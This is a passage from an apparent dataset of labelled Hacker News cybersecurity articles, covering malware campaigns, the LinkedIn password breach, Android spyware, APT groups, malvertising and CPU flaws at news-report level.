There was another association with India in the repeated appearance of the word ""Appin"". ""There seems to be some connection with the Indian security company called Appin Security Group,"" Norman wrote. Domains used by the attack infrastructure were shown to have been registered by Appin Security Solutions too.

Another firm, Mantra Tech Ventures, was also hosting a number of malicious sites run by the attackers, Norman said.

The report said that the attackers used NirSoft's WebPassView and Mail PassView tools for recovering passwords in email clients and browser stores; the tools were signed by the malicious certificate.

Update: Spokesperson from Appin responded about the Norman's Findings via email ""Appin The Appin Security Group is no manner connected or involved with the activities as sought to be implied in the alleged report. As is apparent from the alleged report itself, the same is only a marketing gimmick on the part of Norman AS. The Appin Security Group has already initiated legal proceedings against Norman AS."" Abhishek, Corporate Communications Team, Appin Security Group said.

",Malware
Hacker puts up 167 Million LinkedIn Passwords for Sale,https://thehackernews.com/2016/05/linkedin-account-hack.html,"LinkedIn's 2012 data breach was much worse than anybody first thought.

In 2012, LinkedIn suffered a massive data breach in which more than 6 Million users accounts login details, including encrypted passwords, were posted online by a Russian hacker.

Now, it turns out that it was not just 6 Million users who got their login details stolen.

Latest reports emerged that the 2012's LinkedIn data breach may have resulted in the online sale of sensitive account information, including emails and passwords, of about 117 Million LinkedIn users.

Almost after 4 years, a hacker under the nickname ""Peace"" is offering for sale what he/she claims to be the database of 167 Million emails and hashed passwords, which included 117 Million already cracked passwords, belonging to LinkedIn users.

The hacker, who is selling the stolen data on the illegal Dark Web marketplace ""The Real Deal"" for 5 Bitcoins (roughly $2,200), has spoken to Motherboard, confirming these logins come from the 2012 data breach.

Since the passwords have been initially encrypted with the SHA1 algorithm, with ""no salt,"" it just took 'LeakedSource', the paid search engine for hacked data, 72 hours to crack roughly 90% of the passwords.

Troy Hunt, an independent researcher who operates ""Have I Been Pwned?"" site, reached out to a number of the victims who confirmed to Hunt that the leaked credentials were legitimate.

The whole incident proved that LinkedIn stored your passwords in an insecure way and that the company did not make it known exactly how widespread the data breach was at the time.

In response to this incident, a LinkedIn spokesperson informs that the company is investigating the matter.

In 2015, Linkedin also agreed to settle a class-action lawsuit over 2012's security breach by paying a total of $1.25 million to victims in the U.S, means $50 to each of them.

According to the lawsuit, the company violated its privacy policy and an agreement with premium subscribers that promised it would keep their personal information safe.

However, now new reports suggest that a total 167 Million LinkedIn accounts were breached, instead of just 6 million.

Assuming, if at least 30% of hacked LinkedIn Accounts belongs to Americans, then the company has to pay more than $15 Million.

Meanwhile, I recommend you to change your passwords (and keep a longer and stronger one this time) and enable two-factor authentication for your LinkedIn accounts as soon as possible. Also, do the same for other online accounts if you are using same passwords on multiple sites.

",Data_Breaches
Researchers Spotted Malware Written in Nim Programming Language,https://thehackernews.com/2021/03/researchers-spotted-malware-written-in.html,"Cybersecurity researchers have unwrapped an ""interesting email campaign"" undertaken by a threat actor that has taken to distributing a new malware written in Nim programming language.
Dubbed ""NimzaLoader"" by Proofpoint researchers, the development marks one of the rare instances of Nim malware discovered in the threat landscape.
""Malware developers may choose to use a rare programming language to avoid detection, as reverse engineers may not be familiar with Nim's implementation, or focused on developing detection for it, and therefore tools and sandboxes may struggle to analyze samples of it,"" the researchers said.
Proofpoint is tracking the operators of the campaign under the moniker ""TA800,"" who, they say, started distributing NimzaLoader starting February 3, 2021. Prior to the latest raft of activity, TA800 is known to have predominantly used BazaLoader since April 2020.
While APT28 has been previously linked to delivering Zebrocy malware using Nim-based loaders, the appearance of NimzaLoader is yet another sign that malicious actors are constantly retooling their malware arsenal to avoid detection.
Proofpoint's findings have also been independently corroborated by researchers from Walmart's threat intelligence team, who named the malware ""Nimar Loader.""
Like with the case of BazaLoader, the campaign spotted on February 3 made use of personalized email phishing lures containing a link to a supposed PDF document that redirected the recipient to a NimzaLoader executable hosted on Slack. The executable also made use of a fake Adobe icon as part of its social engineering tricks to deceive the user into downloading the malware.
Once opened, the malware is designed to provide the attackers with access to the victim's Windows systems, alongside capabilities to execute arbitrary commands retrieved from a command-and-control server — including executing PowerShell commands, injecting shellcode into running processes, and even deploy additional malware.
Additional evidence gathered by Proofpoint and Walmart show that NimzaLoader is also being used to download and execute Cobalt Strike as its secondary payload, suggesting that the threat actor is integrating different tactics into its campaigns.
""It is [...] unclear if Nimzaloader is just a blip on the radar for TA800 — and the wider threat landscape — or if Nimzaloader will be adopted by other threat actors in the same way BazaLaoder has gained wide adoption,"" the researchers concluded.

",Malware
"Google Detects Android Spyware That Spies On WhatsApp, Skype Calls",https://thehackernews.com/2017/11/android-spying-app.html,"In an attempt to protect Android users from malware and shady apps, Google has been continuously working to detect and remove malicious apps from your devices using its newly launched Google Play Protect service.

Google Play Protect—a security feature that uses machine learning and app usage analysis to check devices for potentially harmful apps—recently helped Google researchers to identify a new deceptive family of Android spyware that was stealing a whole lot of information on users.

Discovered on targeted devices in African countries, Tizi is a fully-featured Android backdoor with rooting capabilities that installs spyware apps on victims' devices to steal sensitive data from popular social media apps like Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram.
""The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities,"" Google said in a blog post. ""The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015.""
Most Tizi-infected apps are being advertised on social media websites and 3rd-party app stores, tricking users into installing them.

Once installed, the innocent looking app gains root access of the infected device to install spyware, which then first contacts its command-and-control servers by sending an SMS text message with the GPS coordinates of the infected device to a specific number.

Here's How Tizi Gains Root Access On Infected Devices

For gaining root access, the backdoor exploits previously disclosed vulnerabilities in older chipsets, devices, and Android versions, including CVE-2012-4220, CVE-2013-2596, CVE-2013-2597, CVE-2013-2595, CVE-2013-2094, CVE-2013-6282, CVE-2014-3153, CVE-2015-3636, and CVE-2015-1805.

If the backdoor unable to take root access on the infected device due to all the listed vulnerabilities being patched, ""it will still attempt to perform some actions through the high level of permissions it asks the user to grant to it, mainly around reading and sending SMS messages and monitoring, redirecting, and preventing outgoing phone calls, "" Google said.

Tizi spyware also been designed to communicate with its command-and-control servers over regular HTTPS or using MQTT messaging protocol to receive commands from the attackers and uploading stolen data.

The Tizi backdoor contains various capabilities common to commercial spyware, such as

Stealing data from popular social media platforms including Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram.
Recording calls from WhatsApp, Viber, and Skype.
Sending and receiving SMS messages.
Accessing calendar events, call log, contacts, photos, and list of installed apps
Stealing Wi-Fi encryption keys.
Recording ambient audio and taking pictures without displaying the image on the device's screen.

So far Google has identified 1,300 Android devices infected by Tizi and removed it.

Majority of which were located in African countries, specifically Kenya, Nigeria, and Tanzania.


How to Protect your Android device from Hackers?

Such Android spyware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps in order to protect yourself:

Ensure that you have already opted for Google Play Protect.
Download and install apps only from the official Play Store, and always check permissions for each app.
Enable 'verify apps' feature from settings.
Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended.
Keep ""unknown sources"" disabled while not using it.
Keep your device always up-to-date with the latest security patches.

",Malware
British Schoolboy Who Hacked CIA Director Gets 2-Year Prison Term,https://thehackernews.com/2018/04/hacker-kane-gamble.html,"The British teenager who managed to hack into the online accounts of several high-profile US government employees sentenced to two years in prison on Friday.

Kane Gamble, now 18, hacked into email accounts of former CIA director John Brennan, former Director of National Intelligence James Clapper, former FBI Deputy Director Mark Giuliano, and other senior FBI officials—all from his parent's home in Leicestershire.

Gamble, who went by the online alias Cracka, was just 15 at the time of carrying out those attacks and was the alleged founder of a hacking group calling themselves Crackas With Attitude (CWA).

The notorious pro-Palestinian hacking group carried out a series of embarrassing attacks against U.S. intelligence officials and leaked personal details of 20,000 FBI agents, 9,000 officers from Department of Homeland Security, and some number of DoJ staffers in 2015.

The teenager was arrested in February 2016 at his home in Coalville and pleaded guilty to 8 charges last October of ""performing a function with intent to secure unauthorised access"" and 2 charges of ""unauthorised modification of computer material.""

On Friday afternoon in the Old Bailey central criminal court in London, Gamble was finally sentenced after his first sentencing hearing in January was postponed, and the judge ruled that he'll have to serve 2 years at a youth detention center, BBC reported.

While Gamble's defence said he was ""naive"" and never meant to ""harm"" any individuals during the court hearing, the judge said he carried out ""an extremely nasty campaign of politically-motivated cyber terrorism.""

Between June 2015 and February 2016, Gamble posed as Brennan and tricked call center and helpline staff into giving away broadband and cable passwords, using which his team also gained access to extremely sensitive documents for intelligence operations in Afghanistan and Iran.

Besides hacking into their networks, Gamble also taunted his victims and their families, bombarded them with calls and messages, released their personal details, downloaded and installed porn onto their computers and took control of their iPads and TV screens.

Gamble even made hoax calls to Brennan's home and took control of his wife's iPad. At one point, he also sent DHS secretary Johnson a photograph of his daughter and said he would f*** her.

Gamble also phoned Mr. Johnson's wife, leaving a disturbing voicemail message which said: ""Hi Spooky, am I scaring you?,"" and even managed to display the message ""I own you"" on the couple's home television.

Gamble said he targeted the US government because he was ""getting more and more annoyed about how corrupt and cold-blooded the US Government"" was and ""decided to do something about it.""

According to previous reports, Gamble is suffering from an autistic spectrum disorder, and at the time of his offending, he had the mental development of a 12 or 13-year-old.

Gamble's defence had argued court on Friday for a suspended sentence, so he can sit his GCSEs in June and read computer science studies at university to pursue a ""useful"" career.

Two other members of Crackas With Attitude—Andrew Otto Boggs and Justin Gray Liverman—were arrested by FBI in September 2016 and had already been sentenced to two and five years in federal prison respectively.

",Cyber_Attack
Hack'em If You Can — U.S. Air Force launches Bug Bounty Program,https://thehackernews.com/2017/04/hack-the-air-force.html,"With the growing number of data breaches and cyber attacks, a significant number of companies and organizations have started Bug Bounty programs for encouraging hackers and bug hunters to find and responsibly report vulnerabilities in their services and get rewarded.

Now, following the success of the ""Hack the Pentagon"" and ""Hack the Army"" initiatives, the United States Department of Defense (DoD) has announced the launch of the ""Hack the Air Force"" bug bounty program.

Hacking or breaking into Defense Department networks was illegal once, but after ""Hack the Pentagon"" initiative, the DoD started rewarding outsiders to finding and reporting weaknesses in its private networks.
""This is the first time the AF [Air Force] has opened up...networks to such a broad scrutiny,"" Peter Kim, the Air Force Chief Information Security Officer said in a statement. ""We have malicious hackers trying to get into our systems every day.""

""It'll be nice to have friendly hackers taking a shot and, most importantly, showing us how to improve our cyber security and defense posture. The additional participation from our partner nations greatly widens the variety of experience available to find additional unique vulnerabilities.""
The ""Hack the Air Force"" program is directed by HackerOne, the bug bounty startup that was behind Hack the Pentagon, and Luta Security, the security consulting company driving the U.K. program.

Hackers From The Five Eyes Nations Are Invited

This program will be the DoD's largest bug bounty project as it invites experts and white hat hackers not only from the United States, but also from remaining Five Eyes countries: the United Kingdom, Canada, Australia and New Zealand.

So, only Hackers and bug hunters from the Five Eyes intelligence alliance are eligible to participate in Hack the Air Force.
""This outside approach – drawing on the talent and expertise of our citizens and partner nation citizens – in identifying our security vulnerabilities will help bolster our cyber security,"" said Air Force Chief of Staff Gen. David L. Goldfein.

""We already aggressively conduct exercises and 'red team' our public facing and critical websites. But this next step throws open the doors and brings additional talent onto our cyber team.""

Only Vetted Hackers Can Participate

Only ""Vetted Hackers"" can participate in Hack the Air Force program, which means the candidates must pass a rigorous background test after registration and have a clean criminal record in order to participate in the program.

However, according to some critics, this process excludes many talented hackers and bug hunters, but this is one of the common conditions across all of the Pentagon's bug bounty programs.

Registration for ""Hack the Air Force"" will start on May 15 and interested participants should register through HackerOne. The contest will launch on May 30 and last until June 23.

The first DoD bug bounty program, ""Hack the Pentagon,"" came in April 2016, in which over 14,000 participating hackers found 138 vulnerabilities in DoD systems and were awarded over $75,000 in bounties.

Just like Bug Bounty programs offered by several Frontliners in the technology industry, Hack the Air Force is also an exercise for the federal authorities to boost up their security measures and counter the cyber attacks.

",Vulnerability
TrickBot Linux Variants Active in the Wild Despite Recent Takedown,https://thehackernews.com/2020/10/trickbot-linux-variants-active-in-wild.html,"Efforts to disrupt TrickBot may have shut down most of its critical infrastructure, but the operators behind the notorious malware aren't sitting idle.
According to new findings shared by cybersecurity firm Netscout, TrickBot's authors have moved portions of their code to Linux in an attempt to widen the scope of victims that could be targeted.
TrickBot, a financial Trojan first detected in 2016, has been traditionally a Windows-based crimeware solution, employing different modules to perform a wide range of malicious activities on target networks, including credential theft and perpetrate ransomware attacks.
But over the past few weeks, twin efforts led by the US Cyber Command and Microsoft have helped to eliminate 94% of TrickBot's command-and-control (C2) servers that were in use and the new infrastructure the criminals operating TrickBot attempted to bring online to replace the previously disabled servers.
Despite the steps taken to impede TrickBot, Microsoft cautioned that the threat actors behind the botnet would likely make efforts to revive their operations.
TrickBot's Anchor Module
At the end of 2019, a new TrickBot backdoor framework called Anchor was discovered using the DNS protocol to communicate with C2 servers stealthily.
The module ""allows the actors — potential TrickBot customers — to leverage this framework against higher-profile victims, said SentinelOne, adding the ""ability to seamlessly integrate the APT into a monetization business model is evidence of a quantum shift.""
Indeed, IBM X-Force spotted new cyberattacks earlier this April revealing collaboration between FIN6 and TrickBot groups to deploy the Anchor framework against organizations for financial profit.
The variant, dubbed ""Anchor_DNS,"" enables the infected client to utilize DNS tunneling to establish communications with the C2 server, which in turn transmits data with resolved IPs as a response, NTT researchers said in a 2019 report.
But a new sample uncovered by Stage 2 Security researcher Waylon Grange in July found that Anchor_DNS has been ported to a new Linux backdoor version called ""Anchor_Linux.""
""Often delivered as part of a zip, this malware is a lightweight Linux backdoor,"" Grange said. ""Upon execution it installs itself as a cron job, determines the public IP [address] for the host and then begins to beacon via DNS queries to its C2 server.""
How the C2 Communication Works Using Anchor
Netscout's latest research decodes this flow of communication between the bot and the C2 server. During the initial setup phase, the client sends ""c2_command 0"" to the server along with information about the compromised system and the bot ID, which then responds with the message ""signal /1/"" back to the bot.
As an acknowledgment, the bot sends the same message back to the C2, following which the server remotely issues the command to be executed on the client. In the last step, the bot sends back the result of the execution to the C2 server.
""Every part of communication made to the C2 follows a sequence of 3 different DNS queries,"" Netscout security researcher Suweera De Souza said.
The result of the third query is a list of IP addresses that are subsequently parsed by the client to build the executable payload.
The last piece of data sent by the C2 server corresponds to a range of commands (numbered 0-14 in Windows, and 0-4, 10-12, and 100 in Linux) for the bot to execute the payload via cmd.exe or by injecting it into multiple running processes such as Windows File Explorer or Notepad.
""The complexity of Anchor's C2 communication and the payloads that the bot can execute reflect not only a portion of the Trickbot actors' considerable capabilities, but also their ability to constantly innovate, as evidenced by their move to Linux,"" De Souza said.

",Malware
Chinese hackers who breached Google in 2010 gained access to thousands of surveillance orders,https://thehackernews.com/2013/05/chinese-hackers-who-breached-google-in.html,"In 2010, as part of what has been dubbed as Operation Aurora, Chinese hackers infiltrated a special database within Google's systems and gained access to a sensitive database worth of information about American surveillance targets.

Google reported the hack publicly years ago, saying that the sophisticated attack resulted in the theft of Google intellectual property and the partial compromise of some human rights activists' email accounts.
When the news first surfaced in 2010, Google said hackers stole the source code behind its search engine, and targeted email accounts of activists critical of China's human rights record. But recently discovered that the hackers also obtained surveillance information, including emails belonging to suspected spies, diplomats and terrorists which law enforcement officials had been monitoring. Google reported this breach to the FBI, resulting in a national security investigation.

According to the sources, hackers were after the names of Chinese intelligence operatives who were the target of American surveillance. The extent of the compromise is not known. An FBI investigation did not uncover any evidence that the information had been used to hurt national security, and Google tightened its defenses in the aftermath.

Last month, a senior Microsoft official suggested Chinese hackers had targeted the company's servers about the same time Google's system was compromised. The official said Microsoft concluded that whoever was behind the breach was seeking to identify accounts that had been tagged for surveillance by US national security and law enforcement agencies.

The Operation Aurora attacks reportedly targeted at least 34 companies, including Adobe, Juniper, Rackspace, Symantec, Northrop Grumman, Morgan Stanley and Yahoo.

However, as with the 2010 attacks, the Chinese government has flatly denied it is involved with any of the recent hacking or cyber espionage.

",Malware
Malware can increase Cyberbullying rate by Stealing your Images,https://thehackernews.com/2012/11/malware-can-increase-cyberbullying-rate.html,"A few week ago, we have seen a major example of Cyberbullying, where a 15-year-old girl 'Amanda Todd' to kill herself. The Internet can be a dangerous place for the young, exposing them to e-threats such as malware, phishing schemes, pornography or material promoting the use of drugs and violence, among others. In order to keep your kids safe, you'll need to know about the different types of online dangers that are out there.

Researchers from TrendMicro found a malware that steals images from your hard drives of an affected system and able to upload them to a remote FTP server. Malware specifically look for all .JPG, .JPEG, and .DMP files in the storage.

Once your system will connect to internet, malware will upload first 20,000 files to the FTP server. ""Information theft routines have been mostly limited to information that are in text form, thus this malware poses a whole new different risk for users.""

The internet is a very useful tool, but it can be a dangerous place if you don't protect yourself. For criminals and scam-artists, the internet is big business and we're all targets. Attacks can strike anytime your computer is connected to the internet. At worst, these attacks can destroy our computers, drain our accounts and steal our identities.

",Malware
"50,000 Websites Hacked Through MailPoet WordPress Plugin Vulnerability",https://thehackernews.com/2014/07/hacking-wordpress-plugin-vulnerability.html,"The users of WordPress, a free and open source blogging tool as well as content management system (CMS), that have a popular unpatched wordPress plugin installed are being cautioned to upgrade their sites immediately.

A serious vulnerability in the WordPress plugin, MailPoet, could essentially allows an attacker to inject any file including malware, defacements and spam, whatever they wanted on the server and that too without any authentication.

MailPoet, formerly known as Wysija Newsletter, is a WordPress plugin with more than 1.7 million downloads that allows developers running WordPress to send newsletters and manage subscribers within the content management system.

In a blog post, the security researcher and CEO of the security firm Sucuri, Daniel Cid, pointed out the vulnerability to be serious and said that within three weeks since the vulnerability unveiled, over 50,000 websites have been remotely exploited by the cybercriminals to install backdoors targeting the vulnerable MailPoet plugin.

Some of those compromised websites don't even run WordPress or don't have MailPoet plugin enabled in it, as the malware can infect any website that resides on the server of a hacked WordPress website, according the researcher.
""The malware code had some bugs: it was breaking many websites, overwriting good files and appending various statements in loops at the end of files,"" Cid said in a blog post. ""All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account -- cross-contamination still matters.""
""To be clear, the MailPoet vulnerability is the entry point, it doesn't mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighbouring website, it can still affect your website.""
The security firm first reported about the vulnerability on the beginning of this month. The backdoor installed is a very nasty and creates an admin account that gives attackers full administrative control. It also injects backdoor code into all themes and core files.

The worst part with this infection is that the malicious code also overwrites valid files, which are very difficult to recover without a good backup in place. It causes many websites to fall over and display the message:
Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91.
The Security firm is clarifying that every build of MailPoet is vulnerable except the only version which is the most recent released 2.6.7. So, users are recommended to update it as soon as possible.

Sucuri security firm is very dedicated in finding vulnerabilities in the WordPress CMS and encouraging users to install the updates. A week ago, it urged the users to upgrade WordPress version due to a vulnerability found in the WPtouch WordPress plugin that could potentially allow any non-administrative logged-in user to upload malicious PHP files or backdoors to the target server without any admin privileges.

Sucuri also found two serious vulnerabilities in the popular WordPress SEO plugin called ""All in One SEO Pack"" and a critical Remote Code Execution (RCE) flaw in ""Disqus Comment System"" Plugin of Wordpress few weeks before.

",Vulnerability
9 million PCs infected with ZeroAccess botnet,https://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html,"In recent months, we've seen the rootkit family Win32/Sirefef and Win64/Sirefef (also known as ZeroAccess Botnet) update its command and control protocol and grow to infect more computers while connecting to over one million computers globally.

Before, disclosed that it creates its own hidden partition on the hard drive and uses hidden alternative data streams to hide and thrive. Then ZeroAccess developer changed infection tactics and stopped using kernel-mode components in the latest version Security firms tracked the growth of x64 version infections. But Recently uncovered by SophosLabs that ZeroAccess botnet took a major shift in strategy and operating entirely in user-mode memory.

There are two distinct ZeroAccess botnets, and each has a 32-bit version and a 64-bit version, numbering four botnets in total. Each botnet is self-contained because it communicates exclusively on a particular port number hard-coded into the bot executable. The botnets can be categorised based on their port numbers. Ports 16464 and 16465 are used by the 32-bit and 64-bit versions of one botnet; ports 16470 and 16471 are used by the 64-bit and 32-bit versions of the other botnet.

They also disclose the ZeroAccess has been installed on computers over nine million times with the current number of active infected PCs numbering around one million.

The current size of the botnet is somewhere in the region of 9 million machines spread throughout the world, but with the majority located in the U.S.

Other than U.S other top infected countries are :
Brazil
Japan
Romania
Argentina
Venezuela
Chile

The ZeroAccess botnet currently creates two primary revenue streams: click fraud and Bitcoin mining. Click fraud and Bitcoin mining can earn the botnet owners a potential $100,000 a day. ""The traffic generated by the ad-click fraud can burn through your bandwidth cap. We have been following a number of bots such as ZeroAccess whose primary function is ad-click fraud. These bots receive instructions from a controller directing them to click on ads on specific web sites. The web site owner gets paid by the advertiser on a per click basis usually through the intermediary of an ad network. The advertisers and ad network operator have a number of safeguards in place to protect against click fraud,"" the report said.

The ZeroAccess botnet not only makes large amounts of money for its owners but it also causes significant damage and loss in a variety of ways to a variety of individuals and entities. Various aspects of ZeroAccess' operation consume considerable bandwidth. This is 1,227,300 bytes per hour, 29,455,200 per day and 895,929,000 bytes per month. 895 MB per month per bot means a botnet with 1 million nodes could be producing as much as 895,000,000 MB or 895 Terabytes of network traffic per month. And all of this occurs before any files are actually downloaded using the protocol.

The peer-to-peer protocol used by the latest version of ZeroAccess contains only a few commands and is designed to spread files and IP addresses across the network quickly. It is encrypted to avoid easy detection and there are a number of measures taken to avoid the network being poisoned or taken over. This generally held at around 150,000 new installations per day, with a noticeable drop at the end of August.

",Vulnerability
APT33: Researchers Expose Iranian Hacking Group Linked to Destructive Malware,https://thehackernews.com/2017/09/apt33-iranian-hackers.html,"Security researchers have recently uncovered a cyber espionage group targeting aerospace, defence and energy organisations in the United States, Saudi Arabia and South Korea.

According to the latest research published Wednesday by US security firm FireEye, an Iranian hacking group that it calls Advanced Persistent Threat 33 (or APT33) has been targeting critical infrastructure, energy and military sectors since at least 2013 as part of a massive cyber-espionage operation to gather intelligence and steal trade secrets.

The security firm also says it has evidence that APT33 works on behalf of Iran's government.

FireEye researchers have spotted cyber attacks aimed by APT33 since at least May 2016 and found that the group has successfully targeted aviation sector—both military and commercial—as well as organisations in the energy sector with a link to petrochemical.

The APT33 victims include a U.S. firm in the aerospace sector, a Saudi Arabian business conglomerate with aviation holdings, and a South Korean company involved in oil refining and petrochemicals.

Most recently, in May 2017, APT33 targeted employees of a Saudi organisation and a South Korean business conglomerate using a malicious file that attempted to entice them with job vacancies for a Saudi Arabian petrochemical company.

""We believe the targeting of the Saudi organisation may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea's recent partnerships with Iran's petrochemical industry as well as South Korea's relationships with Saudi petrochemical companies,"" the FireEye report reads.

APT33 targets organisations by sending spear phishing emails with malicious HTML links to infect targets' computers with malware. The malware used by the espionage group includes DROPSHOT (dropper), SHAPESHIFT (wiper) and TURNEDUP (custom backdoor, which is the final payload).

However, in previous research published by Kaspersky, DROPSHOT was tracked by its researchers as StoneDrill, which targeted petroleum company in Europe and believed to be an updated version of Shamoon 2 malware.

""Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT,"" the report reads.

The SHAPESHIFT malware can wipe disks, erase volumes and delete files, depending on its configuration.

According to FireEye, APT 33 sent hundreds of spear phishing emails last year from several domains, which masqueraded as Saudi aviation companies and international organisations, including Boeing, Alsalam Aircraft Company and Northrop Grumman Aviation Arabia.

The security firm also believes APT 33 is linked to Nasr Institute, an Iranian government organisation that conducts cyber warfare operations.

In July, researchers at Trend Micro and Israeli firm ClearSky uncovered another Iranian espionage group, dubbed Rocket Kittens, that was also active since 2013 and targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.

However, FireEye report does not show any links between both the hacking group. For more technical details about the APT33 operations, you can head on to FireEye's official blog post.

",Cyber_Attack
Malvertising Campaign Hits Top Websites to Spread Ransomware,https://thehackernews.com/2016/03/what-is-malvertising.html,"Hackers are always in search for an elite method to create loopholes in the cyberspace to implement the dark rules in the form of vulnerability exploitation.

Top Trustworthy sites such as The New York Times, BBC, MSN, AOL and many more are on the verge of losing their face value as a malwertized advertisement campaign are looming around the websites, according to SpiderLabs.

Here's what Happens to Users when Clicking Ads on these Big Brand Sites:

The advertisements on the legit sites trick users into clicking on it, making them believe that these circulated ads come from a trusted networks.

Once clicked, the malicious Ad redirects the user to a malicious website that hosts Angler Exploit Kit (AEK) to infect visitors by installing malware and ransomware on their computer.

Angler Exploit Kit includes many malicious hacking tools and zero-day exploits that let hackers execute drive-by attacks on visitors' computers.

In this case, the Angler kit scans for the vulnerable PCs and loads Bedep Trojan and TeslaCrypt Ransomware, opening doors for hackers to further install a variety of malicious programs.

Buying Media-Related Domains to Spread Malicious Campaigns

While conducting the background check, the security firm discovered that cyber criminals behind this advertising campaign made use of an expired website domain of Brentsmedia, an online marketing solution who discontinued their service earlier 2016.

According to the web registrar records, Brentsmedia's domain was purchased by Pavel G Ashtahov on March 6th, the day just before the malvertising campaign kickstarted.

Detailed analysis of this mischievous Ad campaign revealed that when a user tends to click on the malwertized Ad, it triggers a JSON file (Javascript Object Notation), which contains a list of security products for cross checking their presence in the victim's system.

If any of the pre-defined products found installed, the malvertising Ads avoid loading the malicious payload to evade the detection by antivirus firms that could block the campaign if detected.

But if not present, it will carry out the exploitation in a stealth mode, ultimately redirecting the user to the malicious page.

The Intensity of the Malvertising!

According to the researchers telemetry, these malicious Ads were delivered through two affiliate networks namely Adnxs, which has already resolved the issue, and Taggify, which has not paid any attention to the seriousness of the problem.

Two more expired media-related domains exhibiting the same characteristics as brentsmedia[.]com: ""envangmedia[.]com"" and ""markets.shangjiamedia[.]com"", shows that another similarly named domain has already been registered.

So there might be a possibility of hijacking ""media"" related branded domains for running malvertising campaigns, as a new generation threat to the global leaders.

",Malware
Researchers Disclose Undocumented Chinese Malware Used in Recent Attacks,https://thehackernews.com/2021/01/researchers-disclose-undocumented.html,"Cybersecurity researchers have disclosed a series of attacks by a threat actor of Chinese origin that has targeted organizations in Russia and Hong Kong with malware — including a previously undocumented backdoor.
Attributing the campaign to Winnti (or APT41), Positive Technologies dated the first attack to May 12, 2020, when the APT used LNK shortcuts to extract and run the malware payload. A second attack detected on May 30 used a malicious RAR archive file consisting of shortcuts to two bait PDF documents that purported to be a curriculum vitae and an IELTS certificate.
The shortcuts themselves contain links to pages hosted on Zeplin, a legitimate collaboration tool for designers and developers that are used to fetch the final-stage malware that, in turn, includes a shellcode loader (""svchast.exe"") and a backdoor called Crosswalk (""3t54dE3r.tmp"").
Crosswalk, first documented by FireEye in 2017, is a bare-bones modular backdoor capable of carrying out system reconnaissance and receiving additional modules from an attacker-controlled server as shellcode.
While this modus operandi shares similarities with that of the Korean threat group Higaisa — which was found exploiting LNK files attached in an email to launch attacks on unsuspecting victims in 2020 — the researchers said the use of Crosswalk suggests the involvement of Winnti.
This is also supported by the fact that the network infrastructure of the samples overlaps with previously known APT41 infrastructure, with some of the domains traced back to Winnti attacks on the online video game industry in 2013.
The new wave of attacks is no different. Notably, among the targets include Battlestate Games, a Unity3D game developer from St. Petersburg.
Furthermore, the researchers found additional attack samples in the form of RAR files that contained Cobalt Strike Beacon as the payload, with the hackers in one case referencing the U.S. protests related to the death of George Floyd last year as a lure.
In another instance, Compromised certificates belonging to a Taiwanese company called Zealot Digital were abused to strike organizations in Hong Kong with Crosswalk and Metasploit injectors, as well as ShadowPad, Paranoid PlugX, and a new .NET backdoor called FunnySwitch.
The backdoor, which appears to be still under development, is capable of collecting system information and running arbitrary JScript code. It also shares a number of common features with Crosswalk, leading the researchers to believe that they were written by the same developers.
Previously, Paranoid PlugX had been linked to attacks on companies in the video games industry in 2017. Thus, the deployment of the malware via Winnti's network infrastructure adds credence to the ""relationship"" between the two groups.
""Winnti continues to pursue game developers and publishers in Russia and elsewhere,"" the researchers concluded. ""Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS.""

",Cyber_Attack
FBI themed Mac OS X Ransomware Malware demands $300 Fine,https://thehackernews.com/2013/07/fbi-themed-mac-os-x-ransomware-malware.html,"Ransomware is a type of malware that attempts to extort money from a computer user by infecting and taking control of the victim's machine, or the files or documents stored on it. This kind of malware has typically been the domain of Windows users, but has made its way to OS X.
A new piece of FBI themed Ransomware Malware is targeting Mac OS X and hijacking the user's browser with a notice demanding payment of $300 in order to release control of the application and accusing them of illegally accessing pornography.

The address bar shows a URL clearly trying to fool users - fbi.gov.id657546456-3999456674.k8381.com and the warnings appearing to be from the FBI tell the victim: ""you have been viewing or distributing prohibited Pornographic content.. To unlock your computer and to avoid other legal consequences, you are obligated to pay a release fee of $300.""

According to Malwarebytes, ransomware page is being pushed onto unsuspecting users browsing regular sites but in particular when searching for popular keywords.
The trojan targets the users by using the ""restore from crash"" feature in the browser, which prevents the user from getting rid of the page. Rather than a sophisticated hijack of the actual browser software or an installation of a trojan, the ransomware is merely a simple webpage using JavaScript to load 150 iframes that require confirmation to be dismissed.
Attempting to close the tab results in a popup stating ""YOUR BROWSER HAS BEEN LOCKED."" To get rid of such malware page, Click on the Safari menu and then choose ""Reset Safari"". Make sure all items are marked and hit the Reset button.

",Malware
"7 New Meltdown and Spectre-type CPU Flaws Affect Intel, AMD, ARM CPUs",https://thehackernews.com/2018/11/meltdown-spectre-vulnerabilities.html,"Disclosed earlier this year, potentially dangerous Meltdown and Spectre vulnerabilities that affected a large family of modern processors proven that speculative execution attacks can be exploited in a trivial way to access highly sensitive information.

Since then, several more variants of speculative execution attacks have been discovered, including Spectre-NG, SpectreRSB, Spectre 1.1, Spectre1.2, TLBleed, Lazy FP, NetSpectre and Foreshadow, patches for which were released by affected vendors time-to-time.

Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded.

Now, the same team of cybersecurity researchers who discovered original Meltdown and Spectre vulnerabilities have uncovered 7 new transient execution attacks affecting 3 major processor vendors—Intel, AMD, ARM.

While some of the newly-discovered transient execution attacks are mitigated by existing mitigation techniques for Spectre and Meltdown, others are not.
